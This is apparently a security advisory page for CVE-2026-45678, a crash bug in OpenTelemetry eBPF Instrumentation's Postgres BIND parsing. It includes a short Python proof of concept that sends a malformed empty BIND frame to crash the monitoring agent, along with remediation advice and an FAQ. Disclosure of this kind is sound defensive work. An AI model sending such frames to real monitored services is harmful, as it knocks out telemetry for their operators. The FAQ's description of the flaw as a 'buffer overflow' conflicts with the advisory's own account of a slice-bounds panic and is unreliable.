CVE-2026-45678: OpenTelemetry eBPF Instrumentation: Postgres BIND parsing can panic on malformed payloads
Summary
The Postgres protocol parser assumes BIND message payloads contain a valid NUL-terminated portal name. A crafted empty or unterminated payload can make OBI slice beyond the end of the captured buffer and panic.
Details
The vulnerable logic is in pkg/ebpf/common/sqldetectpostgres.go. In the BIND case, OBI converts the full payload to a string with unix.ByteSliceToString(msg.data), computes portalLen := len(portal) + 1, and then slices msg.data[portalLen:] to derive the statement name.
There is no check that msg.data actually contains a NUL terminator or even enough bytes for portalLen. With an empty payload or a truncated message, portalLen can exceed the slice length and trigger a runtime panic.
PoC
Local testing with a minimal reproducer showed the expected slice bounds out of range crash for an empty BIND payload.
Use a vulnerable build:
bash git checkout v0.0.0-rc.1+build make build
Start a local Postgres instance and OBI:
bash docker run --rm -e POSTGRESPASSWORD=postgres -p 5432:5432 postgres:17 sudo ./bin/obi
Send a malformed BIND frame with an empty payload:
python save as /tmp/pg-bind-poc.py import socket, struct
tag = b'B' length = struct.pack(">I", 4) payload = b""
s = socket.createconnection(("127.0.0.1", 5432)) s.sendall(tag + length + payload) s.close()
Run it:
bash python3 /tmp/pg-bind-poc.py
On a vulnerable build, the Postgres parser in OBI panics while processing the captured payload.
Impact
This is a remote availability issue in OBI's Postgres parser. Any attacker able to send malformed Postgres traffic to a monitored service can crash the agent and stop telemetry collection for that node or process.
Other sources
OpenTelemetry eBPF Instrumentation provides eBPF instrumentation based on the OpenTelemetry standard. Prior to version 0.9.0, the Postgres protocol parser assumes BIND message payloads contain a valid NUL-terminated portal name. A crafted empty or unterminated payload can make OBI slice beyond the end of the captured buffer and panic. This issue has been patched in version 0.9.0.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
go/go.opentelemetry.io/obito a version that resolves this vulnerability.Fixed in 0.9.0 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 0.9.0Patch OpenTelemetry eBPF Instrumentation: Postgres BIND parsing can panic on malformed payloads
Event History
Frequently Asked Questions
What is the severity of CVE-2026-45678?
CVE-2026-45678 is considered to have a high severity due to its potential to cause application panic through buffer overflow.
How do I fix CVE-2026-45678?
To fix CVE-2026-45678, you should upgrade to the latest version of the OpenTelemetry OBI package, specifically version 0.9.0 or later.
Which versions of the OpenTelemetry package are affected by CVE-2026-45678?
CVE-2026-45678 affects versions of the OpenTelemetry OBI package prior to 0.9.0.
What type of vulnerability is CVE-2026-45678?
CVE-2026-45678 is a buffer overflow vulnerability resulting from improper parsing of Postgres protocol messages.
What software is impacted by CVE-2026-45678?
CVE-2026-45678 impacts the OpenTelemetry OBI library when parsing Postgres protocol messages.